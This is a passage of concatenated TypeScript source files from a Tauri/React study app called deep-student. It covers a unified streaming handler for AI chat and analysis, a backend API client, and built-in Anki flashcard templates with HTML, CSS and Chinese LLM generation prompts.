const cleanupFunctions = await this.initializeStreamListeners(streamId, request, options);
this.activeStreams.set(streamId, () => {
cleanupFunctions.forEach(cleanup => cleanup());
});
// Start the appropriate backend command
await this.startBackendStream(request);
return streamId;
} catch (error) {
console.error('Failed to start stream:', error);
if (options.onError) {
options.onError(error instanceof Error ? error.message : 'Unknown error');
}
throw error;
}
}
/**
* Stop a specific stream
*/
stopStream(streamId: string): void {
const cleanup = this.activeStreams.get(streamId);
if (cleanup) {
cleanup();
this.activeStreams.delete(streamId);
this.currentProgress.delete(streamId);
console.log(`Stopped stream: ${streamId}`);
}
}
/**
* Stop all active streams
*/
stopAllStreams(): void {
for (const streamId of this.activeStreams.keys()) {
this.stopStream(streamId);
}
}
/**
* Get current progress for a stream
*/
getProgress(streamId: string): { content: string; thinking: string } | null {
return this.currentProgress.get(streamId) || null;
}
/**
* Check if a stream is active
*/
isStreamActive(streamId: string): boolean {
return this.activeStreams.has(streamId);
}
private generateStreamId(request: StreamRequest): string {
const timestamp = Date.now();
const type = request.type;
const id = request.tempId || request.mistakeId || 'default';
return `${type}_${id}_${timestamp}`;
}
private async initializeStreamListeners(
streamId: string,
request: StreamRequest,
options: StreamOptions
): Promise<Array<() => void>> {
const cleanupFunctions: Array<() => void> = [];
let fullContent = '';
let fullThinking = '';
// Initialize progress tracking
this.currentProgress.set(streamId, { content: '', thinking: '' });
// Determine event names based on request type
const baseEventName = this.getEventName(request);
const contentEvent = baseEventName;
const thinkingEvent = `${baseEventName}_reasoning`;
console.log(`🔄 Initializing unified stream listeners for: ${streamId}`);
console.log(`📡 Content event: ${contentEvent}`);
console.log(`🧠 Thinking event: ${thinkingEvent}`);
// Listen for main content stream
try {
const unlistenContent = await listen<StreamChunk>(contentEvent, (event) => {
const chunk = event.payload;
if (chunk.is_complete) {
console.log(`✅ Content stream complete for ${streamId}`);
this.checkStreamCompletion(streamId, fullContent, fullThinking, options);
return;
}
if (chunk.content) {
fullContent += chunk.content;
// Update progress
const progress = this.currentProgress.get(streamId);
if (progress) {
progress.content = fullContent;
this.currentProgress.set(streamId, progress);
}
// Call callbacks
if (options.onChunk) {
options.onChunk(chunk.content);
}
if (options.onProgress) {
options.onProgress({ content: fullContent, thinking: fullThinking || undefined });
}
console.log(`📝 Content update [${streamId}]: ${chunk.content.length} chars`);
}
});
cleanupFunctions.push(unlistenContent);
} catch (error) {
console.error(`Failed to listen for content events: ${contentEvent}`, error);
}
// Listen for thinking chain (if enabled)
if (request.enableChainOfThought !== false) {
try {
const unlistenThinking = await listen<StreamChunk>(thinkingEvent, (event) => {
const chunk = event.payload;
if (chunk.is_complete) {
console.log(`✅ Thinking stream complete for ${streamId}`);
this.checkStreamCompletion(streamId, fullContent, fullThinking, options);
return;
}
if (chunk.content) {
fullThinking += chunk.content;
// Update progress
const progress = this.currentProgress.get(streamId);
if (progress) {
progress.thinking = fullThinking;
this.currentProgress.set(streamId, progress);
}
// Call callbacks
if (options.onThinking) {
options.onThinking(chunk.content);
}
if (options.onProgress) {
options.onProgress({ content: fullContent, thinking: fullThinking || undefined });
}
console.log(`🧠 Thinking update [${streamId}]: ${chunk.content.length} chars`);
}
});
cleanupFunctions.push(unlistenThinking);
} catch (error) {
console.error(`Failed to listen for thinking events: ${thinkingEvent}`, error);
}
}
// Listen for errors
try {
const unlistenError = await listen<{error: string}>('stream_error', (event) => {
console.error(`❌ Stream error [${streamId}]:`, event.payload.error);
if (options.onError) {
options.onError(event.payload.error);
}
this.stopStream(streamId);
});
cleanupFunctions.push(unlistenError);
} catch (error) {
console.error('Failed to listen for error events', error);
}
return cleanupFunctions;
}
private checkStreamCompletion(
streamId: string,
content: string,
thinking: string,
options: StreamOptions
): void {
// Check if both content and thinking (if enabled) are complete
const progress = this.currentProgress.get(streamId);
if (!progress) return;
console.log(`🎉 Stream completion check [${streamId}]: content=${content.length}, thinking=${thinking.length}`);
if (options.onComplete) {
options.onComplete(content, thinking || "");
}
// Auto-cleanup after completion
setTimeout(() => {
this.stopStream(streamId);
}, 100);
}
private getEventName(request: StreamRequest): string {
switch (request.type) {
case 'analysis':
return request.tempId ? `analysis_stream_${request.tempId}` : 'stream_chunk';
case 'chat':
return 'stream_chunk';
case 'continue_chat':
return request.tempId ? `continue_chat_stream_${request.tempId}` : 'stream_chunk';
default:
return 'stream_chunk';
}
}
private async startBackendStream(request: StreamRequest): Promise<void> {
switch (request.type) {
case 'analysis':
if (!request.imageData || !request.userInput) {
throw new Error('Analysis requires imageData and userInput');
}
// First do OCR analysis
const analysisResponse = await invoke('analyze_step_by_step', {
request: {
subject: "数学",
question_image_files: [request.imageData.startsWith('data:') ? request.imageData : `data:image/jpeg;base64,${request.imageData}`],
analysis_image_files: [],
user_question: request.userInput,
enable_chain_of_thought: request.enableChainOfThought !== false
}
});
// If we got a temp_id, start the streaming answer
if ((analysisResponse as any)?.temp_id) {
await invoke('start_streaming_answer', {
request: {
temp_id: (analysisResponse as any).temp_id,
enable_chain_of_thought: request.enableChainOfThought !== false
}
});
}
break;
case 'chat':
await invoke('start_streaming_answer', {
request: {
chat_history: request.chatHistory?.map(msg => ({
role: msg.role,
content: msg.content,
thinking_content: msg.thinking_content
})) || [],
enable_chain_of_thought: request.enableChainOfThought !== false
}
});
break;
case 'continue_chat':
if (!request.tempId) {
throw new Error('Continue chat requires tempId');
}
await invoke('continue_chat_stream', {
request: {
temp_id: request.tempId,
chat_history: request.chatHistory?.map(msg => ({
role: msg.role,
content: msg.content,
thinking_content: msg.thinking_content
})) || [],
enable_chain_of_thought: request.enableChainOfThought !== false
}
});
break;
default:
throw new Error(`Unsupported stream type: ${request.type}`);
}
}
}
// Create global instance
export const unifiedStreamHandler = new UnifiedStreamHandler();
/**
* React Hook for Unified Streaming
* Provides a simple interface for React components to use unified streaming
*/
export function useUnifiedStream() {
const [activeStreams, setActiveStreams] = React.useState<Set<string>>(new Set());
const [streamProgress, setStreamProgress] = React.useState<Map<string, { content: string; thinking: string }>>(new Map());
React.useEffect(() => {
return () => {
// Cleanup all streams when component unmounts
unifiedStreamHandler.stopAllStreams();
};
}, []);
const startStream = React.useCallback(async (request: StreamRequest, options: StreamOptions = {}) => {
const streamId = await unifiedStreamHandler.startStream(request, {
...options,
onProgress: (progress) => {
setStreamProgress(prev => new Map(prev.set(streamId, { content: progress.content, thinking: progress.thinking || "" })));
if (options.onProgress) {
options.onProgress(progress);
}
},
onComplete: (content, thinking) => {
setActiveStreams(prev => {
const newSet = new Set(prev);
newSet.delete(streamId);
return newSet;
});
if (options.onComplete) {
options.onComplete(content, thinking);
}
},
onError: (error) => {
setActiveStreams(prev => {
const newSet = new Set(prev);
newSet.delete(streamId);
return newSet;
});
if (options.onError) {
options.onError(error);
}
}
});
setActiveStreams(prev => new Set(prev.add(streamId)));
return streamId;
}, []);
const stopStream = React.useCallback((streamId: string) => {
unifiedStreamHandler.stopStream(streamId);
setActiveStreams(prev => {
const newSet = new Set(prev);
newSet.delete(streamId);
return newSet;
});
setStreamProgress(prev => {
const newMap = new Map(prev);
newMap.delete(streamId);
return newMap;
});
}, []);
const stopAllStreams = React.useCallback(() => {
unifiedStreamHandler.stopAllStreams();
setActiveStreams(new Set());
setStreamProgress(new Map());
}, []);
return {
startStream,
stopStream,
stopAllStreams,
activeStreams: Array.from(activeStreams),
streamProgress: Object.fromEntries(streamProgress),
isStreaming: activeStreams.size > 0
};
}
// Add React import for the hook
import React from 'react';
| 13,011
|
unifiedStreamHandler
|
ts
|
en
|
typescript
|
code
|
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|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000haoji/deep-student
|
src/utils/tauriApiClient.ts
|
/**
* Tauri API Client
*
* Simple client for direct Tauri API calls without streaming.
* Single responsibility: Non-streaming API communication.
*/
import { invoke } from '@tauri-apps/api/core';
export interface ChatMessage {
id: string;
role: 'user' | 'assistant' | 'system';
content: string;
thinking_content?: string;
timestamp?: string;
}
export interface AnalysisRequest {
subject?: string;
question_image_files: string[];
analysis_image_files?: string[];
user_question: string;
enable_chain_of_thought?: boolean;
}
/**
* Tauri API Client - provides direct access to backend commands
*/
export class TauriApiClient {
/**
* Perform step-by-step analysis
*/
async analyzeStepByStep(request: AnalysisRequest): Promise<any> {
return invoke('analyze_step_by_step', { request });
}
/**
* Start streaming answer for existing analysis
*/
async startStreamingAnswer(tempId: string, enableChainOfThought: boolean = true): Promise<any> {
return invoke('start_streaming_answer', {
request: {
temp_id: tempId,
enable_chain_of_thought: enableChainOfThought
}
});
}
/**
* Continue chat stream
*/
async continueChatStream(tempId: string, chatHistory: any[], enableChainOfThought: boolean = true): Promise<any> {
return invoke('continue_chat_stream', {
request: {
temp_id: tempId,
chat_history: chatHistory,
enable_chain_of_thought: enableChainOfThought
}
});
}
/**
* Get chat history for a mistake
*/
async getMistakeChatHistory(mistakeId: number): Promise<any> {
return invoke('get_mistake_chat_history', { mistakeId });
}
/**
* Get all mistakes
*/
async getAllMistakes(): Promise<any> {
return invoke('get_all_mistakes');
}
/**
* Get mistake by ID
*/
async getMistakeById(id: number): Promise<any> {
return invoke('get_mistake_by_id', { id });
}
/**
* Save mistake
*/
async saveMistake(mistake: any): Promise<any> {
return invoke('save_mistake', { mistake });
}
/**
* Delete mistake
*/
async deleteMistake(id: number): Promise<any> {
return invoke('delete_mistake', { id });
}
/**
* Batch save mistakes
*/
async batchSaveMistakes(mistakes: any[]): Promise<any> {
return invoke('batch_save_mistakes', { mistakes });
}
/**
* Batch delete mistakes
*/
async batchDeleteMistakes(ids: number[]): Promise<any> {
return invoke('batch_delete_mistakes', { ids });
}
/**
* Get supported subjects
*/
async getSupportedSubjects(): Promise<string[]> {
return invoke('get_supported_subjects');
}
/**
* Get subject configs
*/
async getSubjectConfigs(): Promise<any[]> {
return invoke('get_all_subject_configs', { active_only: true });
}
}
/**
* Default client instance
*/
export const tauriApiClient = new TauriApiClient();
| 2,908
|
tauriApiClient
|
ts
|
en
|
typescript
|
code
|
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|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000haoji/deep-student
|
src/data/ankiTemplates.ts
|
import { AnkiCardTemplate, CustomAnkiTemplate, FieldExtractionRule, FieldType } from '../types';
// 将预置模板转换为CustomAnkiTemplate格式，实现统一管理
const createBuiltInTemplate = (template: AnkiCardTemplate): CustomAnkiTemplate => {
// 生成字段提取规则
const fieldExtractionRules: Record<string, FieldExtractionRule> = {};
template.fields.forEach(field => {
const fieldLower = field.toLowerCase();
// 根据字段名称和模板类型确定字段属性
let isRequired = false;
let fieldType: FieldType = 'Text';
let defaultValue = '';
// 必需字段判断
if (['front', 'back', 'text'].includes(fieldLower)) {
isRequired = true;
}
// 字段类型判断
if (fieldLower === 'tags') {
fieldType = 'Array';
defaultValue = '[]';
}
// 填空题特殊字段
if (template.id === 'cloze-card') {
if (fieldLower === 'text') {
isRequired = true;
defaultValue = '';
}
}
// 选择题特殊字段
if (template.id === 'choice-card') {
if (['front', 'optiona', 'optionb', 'optionc', 'optiond', 'correct', 'explanation'].includes(fieldLower)) {
isRequired = true;
}
}
fieldExtractionRules[field] = {
field_type: fieldType,
is_required: isRequired,
default_value: defaultValue,
description: `${field} 字段`
};
});
return {
id: template.id,
name: template.name,
description: template.description,
author: '系统内置',
version: '1.0.0',
preview_front: template.preview_front,
preview_back: template.preview_back,
note_type: template.note_type,
fields: template.fields,
generation_prompt: template.generation_prompt,
front_template: template.front_template,
back_template: template.back_template,
css_style: template.css_style,
field_extraction_rules: fieldExtractionRules,
created_at: new Date().toISOString(),
updated_at: new Date().toISOString(),
is_active: true,
is_built_in: true
};
};
// 原始模板数据（用于兼容性）
export const LEGACY_ANKI_CARD_TEMPLATES: AnkiCardTemplate[] = [
{
id: 'minimal-card',
name: '极简卡片',
description: '简洁优雅的极简设计，专注内容展示',
preview_front: '什么是动量守恒定律？',
preview_back: '在没有外力作用的系统中，系统的总动量保持不变',
note_type: 'Basic',
fields: ['Front', 'Back', 'Notes', 'Tags'],
generation_prompt: `你是一个专业的ANKI卡片制作专家。请根据提供的学习材料生成极简风格的记忆卡片。
请按照以下格式生成卡片，每张卡片用JSON格式表示：
{
"Front": "简洁明了的问题或概念名称",
"Back": "准确、清晰的答案或解释",
"Notes": "可选的补充说明或注释，帮助理解记忆",
"Tags": ["相关标签"]
}
要求：
1. 问题简洁直接，便于快速理解
2. 答案准确完整，语言简练
3. 如果有重要的补充信息，可以添加到Notes字段
4. 每张卡片专注一个知识点
5. 适合反复记忆和复习
请根据内容的复杂度和知识点数量，生成适量的高质量记忆卡片。如果内容包含多个重要概念，应该为每个概念生成对应的卡片。`,
front_template: `
<div class="card minimal-card">
<div class="question">{{Front}}</div>
<div class="hint">点击显示答案</div>
</div>
`,
back_template: `
<div class="card minimal-card">
<div class="question">{{Front}}</div>
<div class="hint">点击显示答案</div>
<div class="answer">{{Back}}</div>
{{#Notes}}
<div class="notes">
<div class="notes-label">注释：</div>
<div>{{Notes}}</div>
</div>
{{/Notes}}
</div>
`,
css_style: `
.minimal-card {
font-family: 'Segoe UI', system-ui, sans-serif;
width: 100%;
max-width: 100%;
margin: 0;
padding: 20px;
border-radius: 16px;
background: white;
box-shadow: 0 5px 25px rgba(0,0,0,0.08);
text-align: center;
box-sizing: border-box;
overflow: hidden;
}
.question {
font-size: 20px;
font-weight: 600;
color: #2c3e50;
line-height: 1.4;
margin-bottom: 15px;
word-wrap: break-word;
}
.answer {
font-size: 16px;
color: #27ae60;
padding: 15px;
background: #f9fbfa;
border-radius: 12px;
margin: 20px 0;
border-left: 4px solid #2ecc71;
display: block;
word-wrap: break-word;
}
.hint {
font-size: 12px;
color: #95a5a6;
font-style: italic;
margin-bottom: 10px;
}
.notes {
text-align: left;
margin-top: 15px;
padding: 12px;
background: #f8f9fa;
border-radius: 10px;
font-size: 14px;
color: #7f8c8d;
word-wrap: break-word;
}
.notes-label {
font-weight: 600;
color: #3498db;
margin-bottom: 5px;
}
.card:hover {
box-shadow: 0 8px 30px rgba(0,0,0,0.12);
}
`
},
{
id: 'academic-card',
name: '学术卡片',
description: '正式的学术风格，适合专业知识和术语学习',
preview_front: 'DNA复制',
preview_back: 'DNA复制是一个半保留复制过程，包括解旋、引物合成、延伸等步骤',
note_type: 'Basic',
fields: ['Front', 'Back', 'Example', 'Source', 'Tags', 'Deck'],
generation_prompt: `你是一个专业的学术ANKI卡片制作专家。请根据提供的学习材料生成学术风格的记忆卡片。
请按照以下格式生成卡片，每张卡片用JSON格式表示：
{
"Front": "学术术语、概念或理论名称",
"Back": "详细、准确的学术定义和解释",
"Example": "具体的实例或应用场景（可选）",
"Source": "来源或参考资料信息（可选）",
"Tags": ["学科", "章节", "难度等标签"],
"Deck": "所属学科或课程（可选）"
}
要求：
1. 术语和概念要准确，符合学术标准
2. 定义要完整、严谨，使用规范的学术语言
3. 提供具体实例或应用场景有助于理解
4. 标注来源信息有助于后续查阅
5. 适合专业学习和考试复习
6. 重点关注概念的精确性和完整性
请根据内容的复杂度和知识点数量，生成适量的高质量学术记忆卡片。如果内容包含多个重要概念，应该为每个概念生成对应的卡片。`,
front_template: `
<div class="card academic-card">
<div class="header">
<div class="deck-name">{{Deck}}</div>
<div class="card-type">知识卡片</div>
</div>
<div class="question">{{Front}}</div>
</div>
`,
back_template: `
<div class="card academic-card">
<div class="header">
<div class="deck-name">{{Deck}}</div>
<div class="card-type">知识卡片</div>
</div>
<div class="question">{{Front}}</div>
<div class="divider"></div>
<div class="answer">
<div class="definition">{{Back}}</div>
{{#Example}}
<div class="example">
<div class="example-label">示例：</div>
<div class="example-content">{{Example}}</div>
</div>
{{/Example}}
</div>
<div class="footer">
<div class="source">{{Source}}</div>
<div class="tags">{{Tags}}</div>
</div>
</div>
`,
css_style: `
.academic-card {
font-family: 'Georgia', serif;
width: 100%;
max-width: 100%;
margin: 0;
padding: 20px;
background: #fcfaf7;
border: 1px solid #e6e2dd;
box-shadow: 0 3px 10px rgba(0,0,0,0.05);
box-sizing: border-box;
overflow: hidden;
}
.header {
display: flex;
justify-content: space-between;
margin-bottom: 15px;
font-size: 12px;
color: #95a5a6;
}
.question {
font-size: 20px;
font-weight: bold;
color: #2c3e50;
text-align: center;
margin: 15px 0 20px;
word-wrap: break-word;
}
.divider {
height: 1px;
background: linear-gradient(90deg, transparent, #bdc3c7, transparent);
margin: 10px 0 15px;
}
.definition {
font-size: 16px;
line-height: 1.6;
color: #34495e;
text-align: justify;
word-wrap: break-word;
}
.example {
margin-top: 15px;
padding: 12px;
background: #ffffff;
border-left: 3px solid #3498db;
border: 1px solid #3498db;
word-wrap: break-word;
color: #2c3e50;
font-size: 14px;
line-height: 1.5;
}
.example-label {
font-weight: bold;
color: #2980b9;
margin-bottom: 5px;
}
.footer {
display: flex;
justify-content: space-between;
margin-top: 20px;
font-size: 11px;
color: #7f8c8d;
flex-wrap: wrap;
}
.tag {
display: inline-block;
background: #ecf0f1;
padding: 2px 8px;
border-radius: 12px;
margin-left: 3px;
margin-bottom: 2px;
font-size: 10px;
}
`
},
{
id: 'code-card',
name: '编程卡片',
description: '专为编程学习设计的深色主题卡片',
preview_front: '如何在Python中创建列表？',
preview_back: 'my_list = [1, 2, 3, 4, 5]',
note_type: 'Basic',
fields: ['Front', 'Back', 'Code', 'Tags'],
generation_prompt: `你是一个专业的编程ANKI卡片制作专家。请根据提供的编程学习材料生成代码风格的记忆卡片。
请按照以下格式生成卡片，每张卡片用JSON格式表示：
{
"Front": "编程问题、概念或语法要点",
"Back": "详细的解释和说明",
"Code": "相关的代码示例（如果适用）",
"Tags": ["编程语言", "主题", "难度等标签"]
}
要求：
1. 问题要具体明确，针对实际编程场景
2. 解释要准确完整，包含关键概念和注意事项
3. 代码示例要简洁实用，可以直接运行
4. 代码格式规范，包含必要的注释
5. 适合程序员日常学习和面试复习
6. 重点关注实用性和可操作性
代码示例格式要求：
- 使用标准的编程语言语法
- 包含输入输出示例（如果适用）
- 添加简要注释说明关键步骤
请根据内容的复杂度和知识点数量，生成适量的高质量编程记忆卡片。如果内容包含多个重要概念或代码示例，应该为每个知识点生成对应的卡片。`,
front_template: `
<div class="card code-card">
<div class="question">{{Front}}</div>
<div class="hint">// 点击查看解决方案</div>
</div>
`,
back_template: `
<div class="card code-card">
<div class="question">{{Front}}</div>
<div class="hint">// 点击查看解决方案</div>
<div class="answer">
{{#Code}}
<pre><code>{{Code}}</code></pre>
{{/Code}}
<div class="explanation">{{Back}}</div>
</div>
</div>
`,
css_style: `
.code-card {
font-family: 'Fira Code', 'Consolas', monospace;
width: 100%;
max-width: 100%;
margin: 0;
padding: 20px;
background: #2d3748;
color: #cbd5e0;
border-radius: 8px;
box-shadow: 0 10px 25px rgba(0,0,0,0.3);
box-sizing: border-box;
overflow: hidden;
}
.question {
font-size: 16px;
line-height: 1.5;
color: #81e6d9;
margin-bottom: 15px;
word-wrap: break-word;
}
.hint {
text-align: center;
color: #718096;
font-style: italic;
margin-bottom: 15px;
font-size: 12px;
}
pre {
background: #1a202c;
padding: 15px;
border-radius: 6px;
overflow-x: auto;
border-left: 3px solid #63b3ed;
font-size: 12px;
line-height: 1.4;
word-wrap: break-word;
white-space: pre-wrap;
}
code {
color: #feb2b2;
word-wrap: break-word;
}
.explanation {
margin-top: 15px;
padding: 12px;
background: #4a5568;
border-radius: 6px;
font-size: 14px;
line-height: 1.6;
word-wrap: break-word;
}
`
},
{
id: 'cloze-card',
name: '填空题卡片',
description: '专为填空记忆设计，支持多个空格和提示信息',
preview_front: '牛顿第二定律的公式是 F = [...]，其中m表示[...]，a表示[...]',
preview_back: '牛顿第二定律的公式是 F = ma，其中m表示质量，a表示加速度',
note_type: 'Cloze',
fields: ['Text', 'Hint', 'Source', 'Tags'],
generation_prompt: `你是一个专业的ANKI填空题卡片制作专家。请根据提供的学习材料生成填空题风格的记忆卡片。
重要规则：为了在【一张卡片】上实现【多个挖空】，请务必将所有挖空标记的数字都设置为【1】。例如：{{c1::答案一}}...{{c1::答案二}}。
请按照以下格式生成卡片，每张卡片用JSON格式表示：
{
"Text": "包含填空标记的完整文本。所有挖空都必须使用 {{c1::答案}} 的格式。",
"Hint": "填空提示信息（可选）",
"Source": "知识来源或参考资料（可选）",
"Tags": ["相关标签"]
}
填空标记规则：
1. 【最重要】对于一张卡片上的所有挖空，【必须】全部使用 {{c1::...}} 格式，不要使用c2, c3...。这会确保所有挖空都在同一张卡片上。
2. 可以添加提示：{{c1::答案::提示}}
3. 确保填空内容是关键知识点
要求：
1. 选择文本中的关键概念、公式、定义作为填空内容
2. 填空应该有一定难度，能够测试理解程度
3. 文本要完整连贯，去掉填空后仍然语法正确
4. 适合主动回忆训练
请根据内容的复杂度和知识点数量，生成适量的高质量填空题记忆卡片。如果内容包含多个重要概念，应该为每个概念生成对应的卡片。`,
front_template: `
<div class="card cloze-card">
<div class="cloze-text">{{cloze:Text}}</div>
{{#Hint}}
<div class="hint-section">
<div class="hint-label">💡 提示：</div>
<div class="hint-content">{{Hint}}</div>
</div>
{{/Hint}}
</div>
`,
back_template: `
<div class="card cloze-card">
<div class="cloze-text">{{cloze:Text}}</div>
{{#Hint}}
<div class="hint-section">
<div class="hint-label">💡 提示：</div>
<div class="hint-content">{{Hint}}</div>
</div>
{{/Hint}}
<div class="complete-text">
<div class="complete-label">完整内容：</div>
<div class="complete-content">{{text:Text}}</div>
</div>
{{#Source}}
<div class="source-section">
<span class="source-label">📚 来源：</span>
<span class="source-content">{{Source}}</span>
</div>
{{/Source}}
</div>
`,
css_style: `
.cloze-card {
font-family: 'PingFang SC', 'Microsoft YaHei', sans-serif;
width: 100%;
max-width: 100%;
margin: 0;
padding: 24px;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
border-radius: 12px;
box-shadow: 0 8px 32px rgba(102, 126, 234, 0.3);
box-sizing: border-box;
overflow: hidden;
position: relative;
}
.cloze-card::before {
content: '';
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: rgba(255, 255, 255, 0.1);
backdrop-filter: blur(10px);
border-radius: 12px;
z-index: -1;
}
.cloze-text {
font-size: 18px;
line-height: 1.6;
margin-bottom: 20px;
text-align: justify;
word-wrap: break-word;
}
.cloze {
background: #FFD700;
color: #2c3e50;
padding: 2px 8px;
border-radius: 6px;
font-weight: 600;
box-shadow: 0 2px 4px rgba(0,0,0,0.2);
}
.hint-section {
background: rgba(255, 255, 255, 0.2);
padding: 12px;
border-radius: 8px;
margin: 15px 0;
border-left: 4px solid #FFD700;
}
.hint-label {
font-weight: 600;
font-size: 14px;
margin-bottom: 5px;
color: #FFD700;
}
.hint-content {
font-size: 14px;
line-height: 1.4;
opacity: 0.9;
}
.complete-text {
background: rgba(255, 255, 255, 0.15);
padding: 15px;
border-radius: 8px;
margin-top: 20px;
border: 1px solid rgba(255, 255, 255, 0.3);
}
.complete-label {
font-weight: 600;
font-size: 14px;
margin-bottom: 8px;
color: #E8F4FD;
}
.complete-content {
font-size: 16px;
line-height: 1.5;
color: #F8F9FA;
}
.source-section {
margin-top: 15px;
padding-top: 10px;
border-top: 1px solid rgba(255, 255, 255, 0.3);
font-size: 12px;
opacity: 0.8;
}
.source-label {
font-weight: 600;
}
`
},
{
id: 'choice-card',
name: '选择题卡片',
description: '交互式选择题设计，支持多选项和解析说明',
preview_front: '下列哪个是牛顿第一定律的内容？',
preview_back: 'A. F=ma\nB. 作用力与反作用力\nC. 惯性定律 ✓\nD. 万有引力定律',
note_type: 'Basic',
fields: ['Front', 'Back', 'optiona', 'optionb', 'optionc', 'optiond', 'correct', 'explanation', 'Tags'],
generation_prompt: `你是一个专业的ANKI选择题卡片制作专家。请根据提供的学习材料生成选择题风格的记忆卡片。
请按照以下格式生成卡片，每张卡片用JSON格式表示：
{
"Front": "选择题题目",
"optiona": "选项A的内容",
"optionb": "选项B的内容",
"optionc": "选项C的内容",
"optiond": "选项D的内容",
"correct": "A",
"explanation": "答案解析和详细说明",
"tags": ["相关标签"]
}
要求：
1. 题目要清晰明确，针对核心知识点
2. 四个选项要有合理的干扰性，避免过于明显的错误选项
3. 正确答案用A、B、C、D中的一个字母表示
4. 解析要详细说明为什么这个选项正确，其他选项错在哪里
5. 选项长度尽量相近，避免明显的长短差异暴露答案
6. 适合检验理解程度和辨析能力
请根据内容的复杂度和知识点数量，生成适量的高质量选择题记忆卡片。特别注意：如果提供的内容本身就是选择题格式，请确保为每一道原有选择题都生成对应的卡片。`,
front_template: `
<div class="card choice-card">
<div class="question-section">
<div class="question-label">📝 题目</div>
<div class="question-text">{{Front}}</div>
</div>
<div class="options-section">
<div class="option">
<span class="option-label">A</span>
<span class="option-text">{{optiona}}</span>
</div>
<div class="option">
<span class="option-label">B</span>
<span class="option-text">{{optionb}}</span>
</div>
<div class="option">
<span class="option-label">C</span>
<span class="option-text">{{optionc}}</span>
</div>
<div class="option">
<span class="option-label">D</span>
<span class="option-text">{{optiond}}</span>
</div>
</div>
<div class="instruction">点击查看答案和解析</div>
</div>
`,
back_template: `
<div class="card choice-card">
<div class="question-section">
<div class="question-label">📝 题目</div>
<div class="question-text">{{Front}}</div>
</div>
<div class="options-section answered">
<div class="option">
<span class="option-label">A</span>
<span class="option-text">{{optiona}}</span>
</div>
<div class="option">
<span class="option-label">B</span>
<span class="option-text">{{optionb}}</span>
</div>
<div class="option">
<span class="option-label">C</span>
<span class="option-text">{{optionc}}</span>
</div>
<div class="option">
<span class="option-label">D</span>
<span class="option-text">{{optiond}}</span>
</div>
</div>
<div class="answer-section">
<div class="answer-label">✅ 正确答案：{{correct}}</div>
</div>
{{#explanation}}
<div class="explanation-section">
<div class="explanation-label">💡 解析</div>
<div class="explanation-text">{{explanation}}</div>
</div>
{{/explanation}}
</div>
`,
css_style: `
.choice-card {
font-family: 'PingFang SC', 'Microsoft YaHei', sans-serif;
width: 100%;
max-width: 100%;
margin: 0;
padding: 20px;
background: #f8fafc;
border: 2px solid #e2e8f0;
border-radius: 12px;
box-shadow: 0 4px 20px rgba(0,0,0,0.08);
box-sizing: border-box;
overflow: hidden;
}
.question-section {
margin-bottom: 20px;
}
.question-label {
font-size: 14px;
font-weight: 600;
color: #3b82f6;
margin-bottom: 8px;
}
.question-text {
font-size: 18px;
font-weight: 500;
color: #1e293b;
line-height: 1.6;
word-wrap: break-word;
}
.options-section {
margin-bottom: 20px;
}
.option {
display: flex;
align-items: center;
padding: 12px;
margin: 8px 0;
background: white;
border: 1px solid #e2e8f0;
border-radius: 8px;
transition: all 0.2s ease;
position: relative;
}
.option:hover {
border-color: #3b82f6;
box-shadow: 0 2px 8px rgba(59, 130, 246, 0.1);
}
.option-label {
display: inline-flex;
align-items: center;
justify-content: center;
width: 24px;
height: 24px;
background: #f1f5f9;
color: #475569;
border-radius: 50%;
font-weight: 600;
font-size: 14px;
margin-right: 12px;
flex-shrink: 0;
}
.option-text {
flex: 1;
font-size: 16px;
color: #334155;
line-height: 1.5;
word-wrap: break-word;
}
.option.correct {
background: #f0f9ff;
border-color: #22c55e;
}
.option.correct .option-label {
background: #22c55e;
color: white;
}
.correct-mark {
color: #22c55e;
font-weight: bold;
font-size: 18px;
margin-left: 8px;
}
.answer-section {
background: #dcfce7;
border: 1px solid #22c55e;
border-radius: 8px;
padding: 12px;
margin: 15px 0;
}
.answer-label {
font-weight: 600;
color: #15803d;
font-size: 16px;
}
